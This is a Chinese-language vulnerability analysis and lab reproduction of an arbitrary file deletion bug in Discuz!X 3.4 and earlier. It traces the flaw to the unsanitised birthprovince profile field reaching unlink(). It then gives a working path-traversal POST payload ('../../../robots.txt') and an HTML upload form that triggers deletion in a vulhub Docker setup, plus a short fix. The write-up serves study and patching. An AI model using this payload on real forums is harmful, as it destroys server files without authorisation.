1. 程式人生 > 實用技巧 >Discuz!X ≤3.4 任意檔案刪除漏洞

Discuz!X ≤3.4 任意檔案刪除漏洞

Discuz!X ≤3.4 任意檔案刪除漏洞

簡述

漏洞原因:之前存在的任意檔案刪除漏洞修復不完全導致可以繞過。

漏洞修復時間:2017年9月29日官方對gitee上的程式碼進行了修復

漏洞原理分析

home.php中存在,get引數不滿足條件時進入

require_once libfile('home/'.$mod, 'module');

libfile(功能:構造檔案路徑)

function libfile($libname, $folder = '') {
    $libpath = '/source/'.$folder;
    if(strstr($libname, '/')) {
        list($pre, $name) = explode('/', $libname);
        $path = "{$libpath}/{$pre}/{$pre}_{$name}";
    } else {
        $path = "{$libpath}/{$libname}";
    }
    return preg_match('/^[\w\d\/_]+$/i', $path) ? realpath(DISCUZ_ROOT.$path.'.php') : false;
}

利用中的請求的Get請求:mod=spacecp&ac=profile&op=base

經過處理返回到home_spacecp.php在此檔案中最後一行,引入檔案spacecp_profile.php

問題所在檔案:spacecp_profile.php

upload/source/include/spacecp/spacecp_profile.php

進入程式碼70行

if(submitcheck('profilesubmit')) {

提交profilesubmit進入判斷

第185行開始對檔案上傳進行處理,下接第205行

			if(!$upload->error()) {
				$upload->save();

				if(!$upload->get_image_info($attach['target'])) {
					@unlink($attach['target']);
					continue;
				}
				$setarr[$key] = '';
				$attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
				if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
					if(isset($verifyinfo['field'][$key])) {
            @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
						$verifyarr[$key] = $attach['attachment'];
					}
					continue;
				}
				if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
          @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
					$verifyarr[$key] = $attach['attachment'];
					continue;
        }
        @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
				$setarr[$key] = $attach['attachment'];
			}

檔案上傳成功,!$upload->error()進入unlink語句

@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);

回溯變數$space[$key](使用者的個人設定)

$space = getuserbyuid($_G['uid']);
space_merge($space, 'field_home');
space_merge($space, 'profile');

從資料庫查詢使用者相關的資訊儲存到變數$space中。birthprovince就是其中之一。

因為birthprovince可控,所以利用這一變數,在設定頁面提交即可繞過欄位內容的限制

此時$space[key] = $space[birthprovince] = '../../../robots.txt'

漏洞復現

啟動環境

用的vulhub-master進行復現

啟動docker

sudo systemctl start docker

執行環境

cd /vulhub-master/discuz/x3.4-arbitrary-file-deletion
docker-compose up -d

復現

docker exec [容器] ls檢視目錄下檔案

註冊並且登入後進入個人資料 檢視原始碼找到formhash(第二個)

請求

home.php?mod=spacecp&ac=profile&op=base

POST:
birthprovince=../../../robots.txt&profilesubmit=1&formhash=b7a54465
其中formhash為使用者hash

修改成功後出生地會變為../../../robots.txt

新建一個upload.html,構造請求向home.php?mod=spacecp&ac=profile&op=base上傳檔案

<body>
    <form action="http://ip/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[hash]" method="post" enctype="multipart/form-data">
        <input type="file" name="birthprovince" />
        <input type="submit" value="upload" />
    </form>
</body>

重新整理頁面發現出生地變成了圖片地址

請求後docker exec [容器] ls發現目標檔案(robots.txt)已經被刪除了

漏洞修復

直接刪除幾條unlink語句